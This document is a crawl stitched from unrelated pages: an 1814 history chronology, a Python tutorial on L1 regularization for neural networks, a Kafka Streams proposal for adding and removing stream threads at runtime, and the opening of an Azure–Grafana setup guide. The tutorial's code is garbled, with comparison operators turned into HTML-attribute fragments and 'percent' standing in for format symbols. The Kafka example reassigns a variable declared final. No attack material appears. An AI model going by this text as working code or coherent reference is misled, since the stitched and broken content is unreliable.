London banker Alexander Baring, 40, takes the position in a Parliamentary debate that the working classes have no interest at stake in the question of British wheat exports and that it is "altogether ridiculous" to argue otherwise: "Whether wheat is 130s. or 80s., the labourer [can] only expect dry bread in the one case and dry bread in the other" (Parliament has allowed free export of wheat and protests have come from manufacturing districts as food prices have risen) (see Corn Law, 1815).
Fire destroys the sawmills of engineer-inventor Marc Isambard Brunel, whose Battersea plant has been sawing and bending timber while his other plants have been turning out army boots, knitting stockings, and printing (see 1799). The conflagration comes on top of financial mismanagement by his partners and drives Brunel into bankruptcy. The government will refuse to accept the output of his factories after the end of the war next year, and he will be sent to debtors' prison in 1821, although his friends will obtain a £5,000 government grant for his release after a few months (see tunneling shield, 1818).
Ohio land developer John Cleves Symmes dies at Cincinnati February 26 at age 71, leaving an estate that is almost insolvent. He has been the defendant in frequent lawsuits brought by people who were obliged to pay twice for land he had sold them but turned out not to be part of the 1794 Symmes Purchase, and his legal expenses have drained him financially.
The War of 1812 leaves Americans with the realization that they must improve their roads, strengthen their national government, and support their toddling domestic industry. The war has increased the national debt to $123 million, making it impossible to retire the debt by 1817 as Albert Gallatin had optimistically forecast when he took office as secretary of the treasury in 1801 (see 1812).
Massachusetts becomes a cotton cloth producer to meet the pent-up demand for the cloth that came from England before the war. Francis Cabot Lowell raises $100,000 for the company that he started with Patrick T. Jackson in 1812, uses the Charles River to power machines that he installs in an old papermill at Waltham, employs farm girls to run the machines, and houses them six to a room while they earn their dowry money. Helped by inventor Paul Moody to devise an efficient power loom and spinning apparatus, Lowell and Jackson card and spin cotton thread and weave cotton cloth, performing all the functions involved in converting raw cotton to finished cloth in an enterprise that is soon producing some 30 miles of cloth per day and paying dividends of 10 to 20 percent.
The end of the War of 1812 leaves E. I. du Pont de Nemours in a strengthened position (see 1803); the company has become the U.S. Government's chief supplier of gunpowder, having supplied land and naval forces with 750,000 pounds of powder, but although its workers' shoes have wooden pegs in place of nails its Eleutherian Mills will have their first fatal explosion next year, with nine men killed and $20,000 in property losses (see 1833).
John Jacob Astor loses his Astoria outpost on the Pacific to the British but makes large and profitable loans to the U.S. Government (see 1811; 1817).
Salem shipowner Joseph Peabody pays $5,250 for the newly-built 328-ton barque George, whose unusually fast lines have caught his eye (see 1791). Now 56, Peabody has helped frame Salem's petition against the war with Britain but has lent full support to the government; he will use a vessel that was built as a privateer to make 20 voyages to Calcutta and one to Gibraltar. the ship will bring in more than half the 1.5 million tons of indigo that he will import from India by 1840, and the duties levied on her cargoes will amount to $651,743.32, an amount close to the profit that she will return (Peabody will pay taxes of roughly $200,000 per year and have plenty left over).
The world's first steam locomotive goes into service on the Killingworth colliery railway as English inventor George Stephenson, 34, applies Richard Trevithick's 1804 steam engine to railroad locomotion and replaces horses and mules for hauling coal. A former coal-mine mechanic, Stephenson was illiterate until age 18 (see Trevithick, 1808; Stockton-Darlington line, 1825).
Scotland's Craigellachie Bridge spans the River Spey with a 150-foot metal arch; designed by engineer Thomas Telford, its roadway is supported by thin diagonal members that carry loads to the arch, and it will survive into the 21st century.
Engineer-inventor Joseph Bramah dies at London December 9 at age 66, having invented not only precisely engineered machine tools, a hydraulic press, a wood-planing machine, and a machine for numbering bank notes but also an improved water closet.
Chemist and physicist Joseph Louis Gay-Lussac presents a paper August 1 giving a complete study of the new chemical element iodine discovered by Bernard Courtois 3 years ago (see Gay-Lussac, 1808). Having worked in close collaboration with Louis Jacques Thénard, he also formulates the concept of isomers—different compounds composed of the same elements in identical qualities but arranged differently.
Scientist Benjamin Thompson, Count Rumford, dies at his home in Auteil, outside Paris, August 21 at age 61.
Bavarian optician-physicist Joseph von Fraunhofer discovers the lines of the solar spectrum and pioneers the science of spectroscopy (see Wollaston, 1802). Now 24, he has helped produce improved telescopes using the method pioneered by Pierre Louis Guinand in 1798. Fraunhofer will plot more than 500 of the lines and designate the brightest of them by the letters A through G. It will develop that the dark (absorption) lines are caused by selective absorption of the sun's (or a star's) radiation at specific wavelengths by the various elements existing as gases in its atmosphere.
The Welsh founder of Calvinistic Methodism Thomas Charles dies at Bala, Merionethshire, October 5 at age 58.
The Times of London installs the first steam-driven, stop-cylinder printing press (see 1811). An improvement on the Koenig-Bauer press that was tried 3 years ago, it has two cylinders, which revolve one after the other according to the back-and-forth movement of the bed, permitting the Times to print 1,100 sheets per hour (see 1818).
The Times of India begins publication at Bombay (Mumbai). Publication will move to New Delhi in the 1950s.
The first U.S. patent for a "composition pencil" is issued to Salem, Massachusetts, inventor Charles Osgood (see 1795). A Massachusetts schoolgirl hollowed out twigs at least 12 years ago and stuffed them with graphite salvaged from used English pencils, but she never applied for a patent (see Dixon, 1827).
Nonfiction: An Inquiry into the Principles and Policy of the Government of the United States by Virginia agrarian philosopher (and former legislator) John Taylor, now 60.
Philosopher Johann Gottlieb Fichte dies at Berlin January 27 at age 51.
Fire destroys most of the Library of Congress as British troops burn the Capitol (see 1800). Only the most valuable records and papers are saved, but former president Thomas Jefferson at Monticello offers his private library of 6,487 volumes at cost (it is twice as large as the collection that was lost), opponents protest buying so much "finery and philosophical nonsense" (many of the works are in French), but Congress by a margin of four votes appropriates $23,700 to acquire Jefferson's collection as the nucleus of a new library (see 1851). Jefferson, although bankrupt, says, "I cannot live without books," and he uses the money to acquire more books and scientific instruments.
Fiction: Mansfield Park by Jane Austen; Waverley by Walter Scott, who publishes a 19-volume Life and Works of Swift but turns his full energies to fiction.
The marquis de Sade dies in prison at Charenton December 2 at age 74.
Poetry: The Excursion by William Wordsworth; "Lara" and "She Walks in Beauty" by Lord Byron, whose latter poem has been inspired by the sight of his second cousin, Mrs. John Wilmot: "She walks in Beauty, like the night/ Of cloudless climes and starry skies;/ And all that's best of dark and bright/ Meet in her aspect and her eyes;/ Thus mellowed to that tender light/ Which Heaven to gaudy day denies."
Poet-playwright Mercy Otis Warren dies at Plymouth, Massachusetts, October 19 at age 86.
Painting: The Wounded Cuirassier by Théodore Géricault; 2 May 1808, 3 May 1808, General Palafox on Horseback, The Charge of the Mamelukes, The Execution of the Defenders of Madrid, and Ferdinand VII in an Encampment by Francisco de Goya. Japanese ukiyoe painter Toyoharu Utagawa dies at age 79 after a career in which he has founded a new style by using Western perspective techniques.
The Dulwich College Picture Gallery opens to the public in the London borough of Southwark (see education [Dulwich College], 1619); designed by architect John Soane, it is the world's first public art gallery.
Theater: English actor Edmund Kean, 26, appears 1/26 at London's Drury Lane Theatre in the role of Shylock in The Merchant of Venice, wins great acclaim, and begins a 19-year career as England's greatest Shakespearean actor; The Dog of Montargis, or The Forest of Bundy (Le chien de Montargis, ou La forêt de Bundy) by Guilbert de Pixérécourt, now 41, 6/18 at the Théâtre de la Gaité, Paris.
Playwright Louis-Sébastien Mercier dies at his native Paris April 25 at age 73, having written some 60 plays.
Opera: Fidelio, oder Die eheliche Liebe 5/26 at Vienna's Kartnertor-Theater, with music (including a new overture) by Ludwig van Beethoven (see 1805); The Turk in Italy (Turco in Italia) 8/14 at Milan's Teatro alla Scala, with music by Gioacchino Rossini.
Composer-actor-theatrical manager Charles Dibdin dies at London July 25 at age 69, having written some 100 stage works and about 1,400 songs, many of them sea songs to his own lyrics.
First performances: Symphony No. 8 in F major by Ludwig van Beethoven 2/27 at Vienna.
Anthem: "The Star Spangled Banner" by Francis Scott Key is published in the Baltimore American 1 week after the bombardment of Fort McHenry. The words are soon being sung to the tune of "The Anacreontic Song" by London composer John Stafford Smith, now 64, who wrote it for the 48-year-old Anacreontic Society, but Smith used the key of B flat and a range so large that most people will have a struggle trying to sing it (see 1931).
The Carabinieri is founded by the reinstated king of Piedmont Victor Emmanuel I to restore law and order; it will grow to become an 83,000-member elite paramilitary police force with plumed cocked hats.
architecture, real estate
President Madison and his wife, Dolley, move into the 14-year-old Octagon house at Washington, D.C., pending restoration of the 14-year-old executive mansion, which architect James Hoban works to rebuild, painting it white to conceal the marks of fire set by the British troops (see south portico, 1825).
George Granville Leveson-Gower, 56, duke of Sutherland, destroys the homes of Highlanders on his Scottish estates to make way for sheep. The duke is married to the countess of Sutherlandshire, and by 1822 he will have driven 8,000 to 10,000 people off her lands, which comprise two-thirds of the county.
Hortus Jamaicensis by English botanist John Lunan uses the word grapefruit for the first time. The fact that the citrus fruit grows in grapelike clusters has evidently suggested the name (see Shaddock, 1696; 1751; Don Philippe, 1840).
England's Donkin-Hall factory introduces the first foods to be sold commercially in tins (see 1810; Dagett and Kensett, 1819).
Colman's Mustard has its beginnings as English flour miller Jeremiah Colman of Norwich takes over a mustard and flour mill at Stoke Holy Cross, four miles south of the city (see Keen's, 1742). Having bought a windmill at Magdalen Gate, Norwich, 10 years ago and started a flour business, Colman decides to mill mustard in addition to flour, using fine brown and white mustard seed. He will establish himself in the mustard business in 1823, and by 1856 the concern will be so large that Colman will have to buy new premises just outside Norwich at Carrow on the Wensum River (Norwich will grow to envelop Carrow). Grocers throughout Britain will carry yellow-labeled red tins of Colman's Mustard, and it will be supplied to the army and Royal Navy (see 1866).
French beet sugar production declines sharply as imports of cane sugar resume and undercut prices.
Parliament outlaws Scottish Highland stills with capacities below 500 gallons (see 1798). Its objective is to concentrate distilling in fewer hands, thus facilitating collection of taxes on Scotch whisky, but illicit stills continue to operate (see 1823).
France prohibits abortion under a new law that will remain in force for more than 162 years. The law permits abortion only "when it is required to preserve the life of the mother when that is gravely threatened" (see 1810).
China's population reaches nearly 375 million by some accounts, while India's has remained constant at about 150 million. Japan has a system of primogeniture that makes too many sons a problem and controls her population with infanticide, but in China, where infanticide has been used in the past and where methods of abortion are well known, there is less concern about having too many mouths to feed. China's high infant mortality rates keep the population from outgrowing the nation's food supply and families are encouraged to have many sons.
1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 | http://www.answers.com/topic/1814 | crawl-002 | refinedweb | 4,935 | 50.3 |
I have some some Strings with
glucose
public class GlucosePattern{
// test string
private static String case1 = "FINGER BLOOD GLUCOSE 156 two hours PP";
private static final String decimalValue = "(\\d+(\\.|,)\\d+)|(\\s\\d+(\\s|$))";
private static final String glucose = "Glucose.*?";
private static final Pattern COMPILED_PATTERN = Pattern.compile(glucose+ decimalValue,
Pattern.CASE_INSENSITIVE | Pattern.UNICODE_CASE );
public Matcher find(final String text) {
return pattern.matcher(text);
}
}
// the test of the program
@Test
public void findWithCase1ShouldFindPattern() throws Exception {
assertTrue(new GlucosePattern().find(case1).find());
}
true
"Labs showed normal anion gap, glucose 278, u/a w/ 1+ ketones."
your regex is looking for a number and then a space, or a number and then a dot or a comma followed by another number. in the case where it isn't matching it is because there is not a space after the number and there is not a number after the comma.
if you want it to match, you need to update your regex to be like..
"(\\d+(\\.|,)\\d*)|(\\s\\d+(\\s|$))" | https://codedump.io/share/pLdBWLNddm2S/1/pattern-with-forward-slash--is-not-recognized-correctly-in-regex | CC-MAIN-2017-26 | refinedweb | 165 | 56.86 |
The Data Science Lab
The data science doctor continues his exploration of techniques used to reduce the likelihood of model overfitting, caused by training a neural network for too many iterations.
Regularization is a technique used to reduce the likelihood of neural network model overfitting. Model overfitting can occur when you train a neural network for too many iterations. This sometimes results in a situation where the trained neural network model predicts the output values for the training data very well, with little error and high accuracy, but when the trained model is applied to new, previously unseen data, the model predicts poorly.
There are several forms of regularization. The two most common forms are called L1 and L2 regularization. This article focuses on L1 regularization, but I'll discuss L2 regularization briefly.
You can think of a neural network as a complex math function that makes predictions. Training is the process of finding values for the network weights and bias constants that effectively define the behavior of the network. The most common way to train a neural network is to use a set of training data with known input values and known, correct output values. You apply an optimization algorithm, typically back-propagation, to find weights and bias values that minimize some error metric between the computed output values and the correct output values (typically squared error or cross entropy error).
Overfitting is often characterized by weights that have large magnitudes, such as +38.5087 and -23.182, rather than small magnitudes such as +1.650 and -3.043. L1 regularization reduces the possibility of overfitting by keeping the values of the weights and biases small.
A good way to see where this article is headed is to take a look at the screenshot of a demo program in Figure 1. The demo program is coded using raw Python (no libraries) with the NumPy numeric library, but you should have no trouble refactoring to another language, such as C# or Visual Basic, if you want.
The demo begins by using a utility neural network to generate 200 synthetic training items and 40 test items. Each data item has 10 input predictor variables (often called features) and four output variables (often called class labels) that represent 1-of-N encoded categorical data. For example, if you were trying to predict the political leaning of a person, and there are just four possible leanings, you could encode conservative as (1, 0, 0, 0), moderate as (0, 1, 0, 0), liberal as (0, 0, 1, 0) and radical as (0, 0, 0, 1).
The demo program creates a neural network classifier with 10 input nodes, eight hidden processing nodes and four output nodes. The number of input and output nodes is determined by the data, but the number of hidden nodes is a free parameter and must be determined by trial and error. The demo program trains a first model using the back-propagation algorithm without L1 regularization. That first model gives 94.00 percent accuracy on the training data (188 of 200 correct) and a poor 55.00 percent accuracy on the test data (just 22 of 40 correct). It appears that the model might be overfitted. To be honest, in order to get a demo result that illustrates typical regularization behavior, I cheated a bit by setting the number of training iterations to a small value (500), and the model is actually underfitted -- not trained enough.
The demo continues by training a second model, this time with L1 regularization. The second model gives 94.50 percent accuracy on the training data (189 of 200 correct) and 67.50 percent accuracy on the test data (27 of 40 correct). In this example, using L1 regularization has made a significant improvement in classification accuracy on the test data.
Understanding Neural Network Model Overfitting
Model overfitting is often a significant problem when training a neural network. The idea is illustrated in the graph in Figure 2. There are two predictor variables: X1 and X2. There are two possible categorical classes, indicated by the orange (class = 0) and blue (class = 1) dots. You can imagine this corresponds to the problem of predicting if a loan application should be approved (1) or denied (0), based on normalized income (X1) and normalized debt (X2). For example, the left-most data point at (X1 = 1, X2 = 4) is colored blue (approve).
The dashed green line represents the actual boundary between the two classes. This boundary is unknown to you. Notice that data items that are above the green line are mostly blue (7 of 9 points) and that data items below the green line are mostly orange (6 of 8 points). The four misclassifications in the training data are due to randomness inherent in almost all real-life data.
A good neural network model would find the true decision boundary represented by the dashed green line. However, if you train a neural network model too long, it will essentially get too good and produce a model indicated by the solid wavy gray line. Notice that the gray line makes perfect predictions on the test data: All the blue dots are above the gray line and all the orange dots are below the gray line.
However, when the overfitted model is presented with new, previously unseen data, there's a good chance the model will make an incorrect prediction. For example, a new data item at (X1 = 11, X2 = 9) is above the green dashed truth boundary and so should be classified as blue. But because the data item is below the gray line overfitted boundary, it will be incorrectly classified as orange.
If you vaguely remember your high school algebra you might recall that the overfitted gray line, with its peaky shape, looks like the graph of a polynomial function that has coefficients with large magnitudes. These coefficients correspond to neural network weights and biases. Therefore, the idea behind L1 regularization is to keep the magnitudes of the weights and bias values small, which will prevent a spikey decision boundary, which in turn will avoid model overfitting.
Understanding L1 Regularization
In a nutshell, L1 regularization works by adding a term to the error function used by the training algorithm. The additional term penalizes large-magnitude weight values. By far the two most common error functions used in neural network training are squared error and cross entropy error. For the rest of this article I'll assume squared error, but the ideas are exactly the same when using cross entropy error.
For L1 regularization, the weight penalty term that's added to the error term is a small fraction (often given the Greek letter lowercase lambda) of the sum of the absolute values of the weights. For example, suppose you have a neural network with only three weights. If you set lambda = 0.10 (actual values of the L1 constant are usually much smaller), and if the current values of the weights are (6.0, -2.0, 4.0) then in addition to the base squared error between computed output values and correct target output values, the augmented error term adds 0.10 * [ abs(6.0) + abs(-2.0) + abs(4.0) ] = 0.10 * (6.0 + 2.0 + 4.0) = 0.10 * 12.0 = 1.20 to the overall error.
The key math equations (somewhat simplified for clarity) are shown in Figure 3. The bottom-most equation is the weight update for a weight connecting a hidden node j to an output node k. In words, "The new weight value is the old weight value plus a delta value."
An example line of code in the demo is:
self.hoWeights[j,k] += delta
The top-most equation is a squared error with an L1 penalty term. In words, "Take each target value (tk), subtract the computed output value (ok), square the difference, add all the sums, and divide by 2, then add a small constant lambda times the sum of the absolute values of the weights."
The middle equation shows how a weight delta is calculated, assuming a squared error with L1 weight penalty. Overall, a delta is -1 times a small learning rate constant (Greek eta, which looks like lowercase script "n") times the gradient of the error function. The gradient is the Calculus derivative of the error function. The error function has two parts, the basic error plus the weight penalty. The derivative of a sum is the sum of the derivatives. The derivative of the left part of the error term is quite tricky and outside the scope of this article, but you can see it uses target values, computed output values and hidden node values (the xj).
To use L1 regularization, you need the Calculus derivative of weight penalty as part of the error term. As it turns out, if a weight is positive, then the derivative of the absolute value is just the constant +1 times lambda. If a weight is negative, the derivative is -1 times lambda. The absolute value function doesn't have a derivative at 0, but this isn't a problem. If a weight is 0, you can ignore the weight penalty term. The idea here is that the goal of L1 regularization is to keep the magnitudes of the weight values small. If a weight is 0, its magnitude can't get any smaller. An example from the demo is:
if self.hoWeights[j,k] > 0.0:
hoGrads[j,k] += lamda
elif self.hoWeights[j,k] < 0.0:="" hograds[j,k]="" -="">
Put a bit differently, during training, the back-propagation algorithm iteratively adds a weight-delta (which can be positive or negative) to each weight. The weight-delta is a fraction of the weight gradient. The weight gradient is the Calculus derivative of the error function plus or minus the L1 regularization constant.
Implementing L1 Regularization
The overall structure of the demo program, with a few edits to save space, is presented in Listing 1.
# nn_L1.py
# Python 3.x
import numpy as np
import random
import math
# helper functions
def showVector(): ...
def showMatrixPartial(): ...
def makeData(): ...
class NeuralNetwork: ...
def main():
print("Begin NN L1 regularization demo")
print("Generating dummy training and test data")
genNN = NeuralNetwork(10, 15, 4, 0)
genNumWts = NeuralNetwork.totalWeights(10,15,4)
genWeights = np.zeros(shape=[genNumWts], \
dtype=np.float32)
genRnd = random.Random(3) # 3
genWtHi = 9.9; genWtLo = -9.9
for i in range(genNumWts):
genWeights[i] = (genWtHi - genWtLo) * \
genRnd.random() + genWtLo
genNN.setWeights(genWeights)
dummyTrainData = makeData(genNN, numRows=200, \
inputsSeed=16)
dummyTestData = makeData(genNN, 40, 18)
print("Dummy training data: ")
showMatrixPartial(dummyTrainData, 4, 1, True)
numInput = 10
numHidden = 8
numOutput = 4
print("Creating neural network classifier")
nn = NeuralNetwork(numInput, numHidden, numOutput, seed=0)
maxEpochs = 500
learnRate = 0.01
print("Setting maxEpochs = " + str(maxEpochs))
print("Setting learning rate = percent0.3f " percent learnRate)
print("Starting training without L1 regularization")
nn.train(dummyTrainData, maxEpochs, learnRate) # no L1
print("Training complete")
accTrain = nn.accuracy(dummyTrainData)
accTest = nn.accuracy(dummyTestData)
print("Accuracy on train data no L1 = percent0.4f " percent accTrain)
print("Accuracy on test data no L1 = percent0.4f " percent accTest)
L1_rate = 0.001
nn = NeuralNetwork(numInput, numHidden, numOutput, seed=0)
print("Starting training with L1 regularization)
nn.train(dummyTrainData, maxEpochs, learnRate, \
L1=True, lamda=L1_rate)
print("Training complete")
accTrain = nn.accuracy(dummyTrainData)
accTest = nn.accuracy(dummyTestData)
print("Accuracy on train data with L1 = percent0.4f " percent accTrain)
print("Accuracy on test data with L1 = percent0.4f " percent accTest)
print("\nEnd demo \n")
if __name__ == "__main__":
main()
# end script
Most of the demo code is a basic feed-forward neural network implemented using raw Python. The key code that adds the L1 penalty to each of the hidden-to-output weight gradients is:
for j in range(self.nh): # each hidden node
for k in range(self.no): # each output
hoGrads[j,k] = oSignals[k] * self.hNodes[j]
if L1 == True:
if self.hoWeights[j,k] > 0.0:
hoGrads[j,k] += lamda
elif self.hoWeights[j,k] < 0.0:="" hograds[j,k]="" -="">
The hoGrads matrix holds hidden-to-output gradients. First, each base gradient is computed as the product of the associated output node signal and the associated input, which is a hidden node value. The computation of the output node signals isn't shown. Then, if the Boolean L1 flag parameter is set to True, an additional lambda parameter value (spelled as "lamda" to avoid a clash with the Python language keyword) is either added or subtracted, depending on the sign of the associated weight.
The input-to-hidden weight gradients are computed similarly:
for i in range(self.ni):
for j in range(self.nh):
ihGrads[i, j] = hSignals[j] * self.iNodes[i]
if L1 == True:
if self.ihWeights[i,j] > 0.0:
ihGrads[i,j] += lamda
elif self.ihWeights[i,j] < 0.0:="" ihgrads[i,j]="" -="lamda">
After using L1 regularization to compute modified gradients, the weights are updated exactly as they would be without L1. For example:
# update input-to-hidden weights
for i in range(self.ni):
for j in range(self.nh):
delta = learnRate * ihGrads[i,j]
self.ihWeights[i,j] += delta
Somewhat surprisingly, it's normal practice to not apply the L1 penalty to the hidden node biases or the output node biases. The reasoning is rather subtle, but briefly and informally, a single bias value with large magnitude isn't likely to lead to model overfitting because a large bias value can be compensated for by the multiple associated weights.
An Alternative Approach to L1
If you review how L1 regularization works, you'll see that on each training iteration, each weight is decayed toward zero by a small, constant value. The weight decay toward zero may or may not be counteracted by the non-penalty part of the weight gradient. The approach presented in this article follows the theoretical definition of L1 regularization where the weight penalty is part of the underlying error term, and is therefore part of the weight gradient. The weight delta is a small constant times the gradient.
An alternative approach, which simulates theoretical L1 regularization, is to compute the gradient as normal, without a weight penalty term, and then tack on an additional value that will move the current weight closer to zero.
For example, suppose a weight has value 8.0 and you're training with a learning rate = 0.05 and an L1 lambda value = 0.01. Suppose the weight gradient, without the L1 term, is 9.0. Then, using the theoretical approach presented in this article, the weight delta = -1 * 0.05 * (9.0 + 0.01) = -0.4505 and the new value of the weight is 8.0 - 0.4505 = 7.5495.
But if you use the tack-on approach, the weight delta is -1 * (0.05 * 9.0) = -0.4500 and the new value of the weight is 8.0 - 0.4500 - 0.01 = 7.5400. The point is that when you're using a neural network library, such as Microsoft CNTK or Google TensorFlow, exactly how L1 regularization is implemented can vary. This means an L1 lambda that works well with one library may not work well with a different library if the L1 implementations are different.
Wrapping Up
The other common form of neural network regularization is called L2 regularization. L2 regularization is very similar to L1 regularization, but with L2, instead of decaying each weight by a constant value, each weight is decayed by a small proportion of its current value. In many scenarios, using L1 regularization drives some neural network weights to 0, leading to a sparse network. Using L2 regularization often drives all weights to small values, but few weights completely to 0. I covered L2 regularization more thoroughly in a previous column, aptly
named "Neural Network L2 Regularization Using Python."
There are very few guidelines about which form of regularization, L1 or L2, is preferable. As is often the case with neural network training, trial and error must be used. That said, L2 regularization is slightly more common than L1, mostly because L2 usually, but not always, works better than L1. It is possible to use both L1 and L2 together. This is called an elastic network.
Finally, recall that the purpose of L1 regularization is to reduce the likelihood of model overfitting. There are other techniques that have the same purpose, including node dropout, jittering, train-validate-test early stopping and max-norm constraints.
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Status
Current state: Accepted
Discussion thread:
JIRA:
- - KAFKA-6943Getting issue details... STATUS
- - KAFKA-10015Getting issue details... STATUS
- - KAFKA-10500Getting issue details... STATUS
- - KAFKA-12247Getting issue details... STATUS
Please keep the discussion on the mailing list rather than commenting on the wiki (wiki discussions get unwieldy fast).
Motivation
Currently, there is no possibility in Kafka Streams to increase or decrease the number of stream threads after the Kafka Streams client has been started. There are at least two situations where such functionality would be useful:
- Reacting on an error that killed a stream thread.
- Adapt the number of stream threads to the current workload without the need to stop and start the Kafka Streams client.
Uncaught exceptions thrown in a stream thread kill the stream thread leaving the Kafka Streams client with less stream threads for processing than when the client was started. The only way to replace the killed stream thread is to restart the whole Kafka Streams client. For transient errors, it might make sense to replace a killed stream thread with a new one while users try to find the root cause of the error. That could be accomplished by starting a new stream thread in the uncaught exception handler of the killed stream thread.
When the workload of a Kafka Streams client increases, it might be beneficial to scale up the Kafka Streams client by increasing the number of stream threads that the client is currently running. On the other hand, too many stream threads might also negatively impact performance, so that decreasing the number of running stream threads could also be beneficial to a Kafka Streams application. Having the possibility to increase and decrease the number of stream threads without restarting a Kafka Streams client would allow to adapt a client to its environment on the fly.
In this KIP, we propose to extend the API of the Kafka Streams client to start and shutdown stream threads.
Public Interfaces
package org.apache.kafka.streams; public class KafkaStreams implements AutoCloseable { /** * Adds and starts a stream thread in addition to the stream threads that are already running in this * Kafka Streams client. * * Since the number of stream threads increases, the sizes of the caches in the new stream thread * and the existing stream threads are adapted so that the sum of the cache sizes over all stream * threads does not exceed the total cache size specified in configuration * {@code cache.max.bytes.buffering}. * * Stream threads can only be added if this Kafka Streams client is in state RUNNING or REBALANCING. * * @return name of the added stream thread or empty if a new stream thread could not be added */ public Optional<String> addStream}. * * @return name of the removed stream thread or empty if a stream thread could not be removed because * no stream threads are alive */ public Optional<String> removeStream}. * * If the given timeout is exceeded, the method will throw a {@code TimeoutException}. * * @param timeout * @return name of the removed stream thread or empty if a stream thread could not be removed because * no stream threads are alive */ public Optional<String> removeStreamThread(final Duration timeout); }
Proposed Changes
We propose to add the above methods to the
KafkaStreams class. The behavior of those methods is described in this section alongside other behavioral changes we propose.
Currently, when a Kafka Streams client is started via
KafkaStreams#start(), it starts as many stream threads as specified in configuration
num.stream.threads.
When
KafkaStreams#addStreamThread() is called, a new full-fledged stream thread will be started in addition to the stream threads started by
KafkaStreams#start(). The new stream thread will use the same configuration as the existing stream threads. The sum of the cache sizes over the stream thread of a Kafka Streams client specified in configuration
cache.max.bytes.buffering will be redistributed over the new stream thread and the existing ones, i.e., the cache of each stream thread will be resized after the next rebalance. Starting a new stream thread will trigger a rebalance. Once the new stream thread has been assigned tasks, it will start to execute them as any other pre-existing stream thread. A new stream thread can only be added if the Kafka Streams client is in state
RUNNING or
REBALANCING. Method
KafkaStreams#addStreamThread() will block until a new stream thread could be started and it will return the name of the started stream thread. If no stream thread could be started due to the state of the Kafka Streams client it will return earlier with an empty optional.
The name of the new stream thread will follow the same structure of the names of the existing stream threads, i.e., [clientId] + "-StreamThread-" + [thread index]. The thread index is either the next index or the thread index of a stream thread that previously died or that was previously removed with
KafkaStreams#removeStreamThread() from the client. For example, if a client has three stream threads named clientA-StreamThread-1, clientA-StreamThread-2, and clientA-StreamThread-3, a new stream thread added with
KafkaStreams#addStreamThread()will be named clientA-StreamThread-4. If stream thread clientA-StreamThread-2 dies or is removed with
KafkaStreams#removeStreamThread() from the client, the next stream thread that is added with
KafkaStreams#addStreamThread() will be called clientA-StreamThread-2. If a stream thread calls
KafkaStreams#addStreamThread() in its uncaught exception handler, the new stream thread cannot have the name of the dying stream thread since the dying stream thread has not been dead yet from a JVM point of view when
KafkaStreams#addStreamThread() is called.
When
KafkaStreams#removeStreamThread() is called, a running stream thread in the Kafka Streams client is shut down. It is not specified which stream thread is shut down. The chosen stream thread will stop executing tasks and close all its resources. The sum of the cache sizes over the stream thread of a Kafka Streams client specified in configuration
cache.max.bytes.buffering will be redistributed over the remaining stream threads, i.e., the cache of each remaining stream thread will be resized after the next rebalance. Shutting down a stream thread will trigger a rebalance (also if static membership is configured). If the last running stream thread is shut down with
KafkaStreams#removeStreamThread(), the Kafka Streams client will stay in state
RUNNING. If a new stream thread is added via
KafkaStreams#addStreamThread(), the client will transit to state
REBALANCING and then
RUNNING when it will restart processing input records. Method
KafkaStreams#removeStreamThread() will block until the shut down of the stream thread completed and it will return the name of the shut down stream thread. If no stream thread could be removed because no alive stream threads exist for the Kafka Streams client, it will return earlier with an empty optional. If
KafkaStreams#removeStreamThread(final Duration) exceeds the given timeout, it will throw a
TimeoutException.
Stream threads that are in state
DEAD will be removed from the set of stream threads of a Kafka Streams client to avoid unbounded increase of the number of stream threads kept in a client. Dead stream threads will be removed independently from whether they were started during the start of the Kafka Streams client or through a call to
KafkaStreams#addStreamThread().
KafkaStreams#localThreadsMetadata() will not return metadata of stream threads that are in state
DEAD. As currently, the Kafka Streams client will transit to ERROR if the last alive stream thread dies exceptionally.
To monitor the number of stream threads that died exceptionally, i.e., failed, in the course of time, we propose to add the following client-level metric:
type: stream-metrics
client-id: [client-id]
name: failed-stream-threads
Metric
failed-stream-threads records the total number of stream threads that failed so far for a given Kafka Streams client.
The number of stream threads is not persisted across restarts. That means that a client will always start as many stream threads as specified in configuration
num.stream.threads during start-up. Even though
KafkaStreams#addStreamThread() and
KafkaStreams#removeStreamThread() have been called since the last start of the client.
Examples of Adding a Stream Thread in an Uncaught Exception Handler
The following example uncaught exception handler starts a stream thread when another stream thread is killed due to a
ProcessorStateException:
kafkaStreams.setUncaughtExceptionHandler((thread, exception) -> { if (exception instanceof ProcessorStateException) { log.error(String.format("Thread %s died due to the following exception:", thread.getName()), exception); final Optional<String> nameOfAddedStreamThread = Optional.empty(); do { nameOfAddedStreamThread = kafkaStreams.addStreamThread(); } while (!nameOfAddedStreamThread.isPresent() && kafkaStreams.isRunningOrRebalancing()) log.debug("New stream thread named {} was added", nameOfAddedStreamThread.get()) } else { log.error("The following uncaught exception was not handled: ", exception) } });
Compatibility, Deprecation, and Migration Plan
The proposal is backward-compatible because it only adds new methods and does not change any existing methods. The only proposed change that slightly changes the current behavior is to not return metadata of stream threads in state
DEAD in the result of
KafkaStreams#localThreadsMetadata(). We regard this change as minor and not relevant to operational continuity.
No methods need to be deprecated and no migration plan is required.
Rejected Alternatives
- Report stream threads in state
DEADin calls to
KafkaStreams#localThreadsMetadata()until the next call to
KafkaStreams#addStreamThread()or
KafkaStreams#removeStreamThread(). This behavior was regarded as too unusual and with little value. | https://cwiki.apache.org/confluence/display/KAFKA/KIP-663%3A+API+to+Start+and+Shut+Down+Stream+Threads | CC-MAIN-2022-33 | refinedweb | 1,536 | 60.95 |
Monitor your Azure services in Grafana
You can now monitor Azure services and applications from Grafana using the Azure Monitor data source plugin. The plugin gathers application performance data collected by Azure Monitor, including various logs and metrics. You can then display this data on your Grafana dashboard.
The plugin is currently in preview.
Use the following steps to set up a Grafana server and build dashboards for metrics and logs from Azure Monitor.
Set up a Grafana server
Set up Grafana locally
To set up a local Grafana server, download and install Grafana in your local environment. To use the plugin's Azure Monitor integration, install Grafana version 5.3 or higher.
Set up Grafana on Azure through the Azure Marketplace
Go to Azure Marketplace and pick Grafana by Grafana Labs.
Fill in the names and details. Create a new resource group. Keep track of the values you choose for the VM username, VM password, and Grafana server admin password.
Choose VM size and a storage account.
Configure the network configuration settings.
View the summary and select Create after accepting the terms of use.
After the deployment completes, select Go to Resource Group. You see a list of newly created resources.
If you select the network security group (grafana-nsg in this case), you can see that port 3000 is used to access Grafana server.
Get the public IP address of your Grafana server - go back to the list of resources and select Public IP address.
Log in to Grafana
Using the IP address of your server, open the Login page at http://<IP address>:3000 or the <DNSName>:3000 in your browser. While 3000 is the default port, note you might have selected a different port during setup. You should see a login page for the Grafana server you built.
